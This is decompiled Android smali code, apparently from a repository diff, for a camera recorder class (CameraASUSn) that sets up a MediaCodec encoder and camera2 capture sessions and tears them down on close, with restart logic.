iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
invoke-virtual {v7, v0}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
move-result v0
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v0
aput-object v0, v3, v5
invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v0
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 181
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v2}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
.line 182
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
invoke-virtual {p1, v0, v4, v4, v8}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
.line 183
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$200(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/media/MediaCodec$Callback;
move-result-object v0
invoke-virtual {p1, v0}, Landroid/media/MediaCodec;->setCallback(Landroid/media/MediaCodec$Callback;)V
.line 184
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
move-result-object v0
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$302(Lcom/nvav/srv/recorder/CameraASUSn;Landroid/view/Surface;)Landroid/view/Surface;
.line 185
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
new-instance v0, Ljava/util/ArrayList;
invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
.line 186
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
move-result-object v0
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
.line 188
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
aget-object p1, p1, v6
invoke-static {p1}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
move-result-object p1
invoke-virtual {p1}, Ljava/lang/Integer;->intValue()I
move-result p1
const/16 v0, 0x1e
if-le p1, v0, :cond_2
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUSn;->mHandler:Landroid/os/Handler;
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createConstrainedHighSpeedCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
goto :goto_1
.line 189
:cond_2
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraASUSn;->mHandler:Landroid/os/Handler;
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
.line 190
:goto_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_2
:catch_0
move-exception p1
.line 192
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_2
return-void
.end method

View File

@@ -0,0 +1,966 @@
.class Lcom/nvav/srv/recorder/CameraASUSn$3;
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
.source "CameraASUSn.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraASUSn;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUSn;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUSn;)V
.locals 0
.line 221
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 251
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Session active."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 252
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession ac"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 256
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Session closed."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 258
:try_start_0
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Landroid/graphics/Rect;
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->rect:Landroid/graphics/Rect;
.line 259
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->aec:I
.line 260
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->cem:I
.line 261
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, [Landroid/hardware/camera2/params/MeteringRectangle;
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
.line 262
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->cafm:I
.line 263
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->caft:I
.line 264
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Float;
invoke-virtual {v0}, Ljava/lang/Float;->floatValue()F
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->lfd:F
.line 265
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->caem:I
.line 266
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->ss:I
.line 267
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Long;
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->sfd:Ljava/lang/Long;
.line 268
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Long;
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->set:Ljava/lang/Long;
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception p1
.line 270
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 273
:goto_0
:try_start_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {p1}, Landroid/hardware/camera2/CameraDevice;->close()V
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
goto :goto_1
:catch_1
move-exception p1
.line 275
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 278
:goto_1
:try_start_2
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
if-eqz p1, :cond_0
.line 279
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->stop()V
.line 280
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->release()V
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_2
goto :goto_2
:catch_2
move-exception p1
.line 283
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_0
:goto_2
const/4 p1, 0x0
.line 286
:try_start_3
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
move-result-object v0
if-eqz v0, :cond_1
.line 287
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {v0}, Landroid/view/Surface;->release()V
.line 288
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$302(Lcom/nvav/srv/recorder/CameraASUSn;Landroid/view/Surface;)Landroid/view/Surface;
:try_end_3
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_3
goto :goto_3
:catch_3
move-exception v0
.line 291
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 294
:cond_1
:goto_3
:try_start_4
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
invoke-interface {v0}, Ljava/util/List;->clear()V
.line 295
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
:try_end_4
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_4
goto :goto_4
:catch_4
move-exception v0
.line 297
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 299
:goto_4
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
.line 300
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
.line 302
:try_start_5
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
:try_end_5
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_5
goto :goto_5
:catch_5
move-exception p1
.line 304
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_5
const-wide/16 v0, 0x2ee
.line 307
:try_start_6
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
:try_end_6
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_6
goto :goto_6
:catch_6
move-exception p1
.line 309
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 312
:goto_6
:try_start_7
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mThread:Landroid/os/HandlerThread;
invoke-virtual {p1}, Landroid/os/HandlerThread;->interrupt()V
:try_end_7
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_7
goto :goto_7
:catch_7
move-exception p1
.line 314
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 316
:goto_7
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
if-eqz p1, :cond_2
.line 318
:try_start_8
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-virtual {p1}, Lcom/nvav/srv/recorder/CameraASUSn;->StartRestart()V
:try_end_8
.catch Ljava/lang/Exception; {:try_start_8 .. :try_end_8} :catch_8
goto :goto_8
:catch_8
move-exception p1
.line 320
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 324
:cond_2
:goto_8
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
if-eqz p1, :cond_3
const-wide/16 v0, 0xfa
.line 326
:try_start_9
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
:try_end_9
.catch Ljava/lang/Exception; {:try_start_9 .. :try_end_9} :catch_9
goto :goto_9
:catch_9
move-exception p1
.line 328
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 330
:goto_9
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->cafm:I
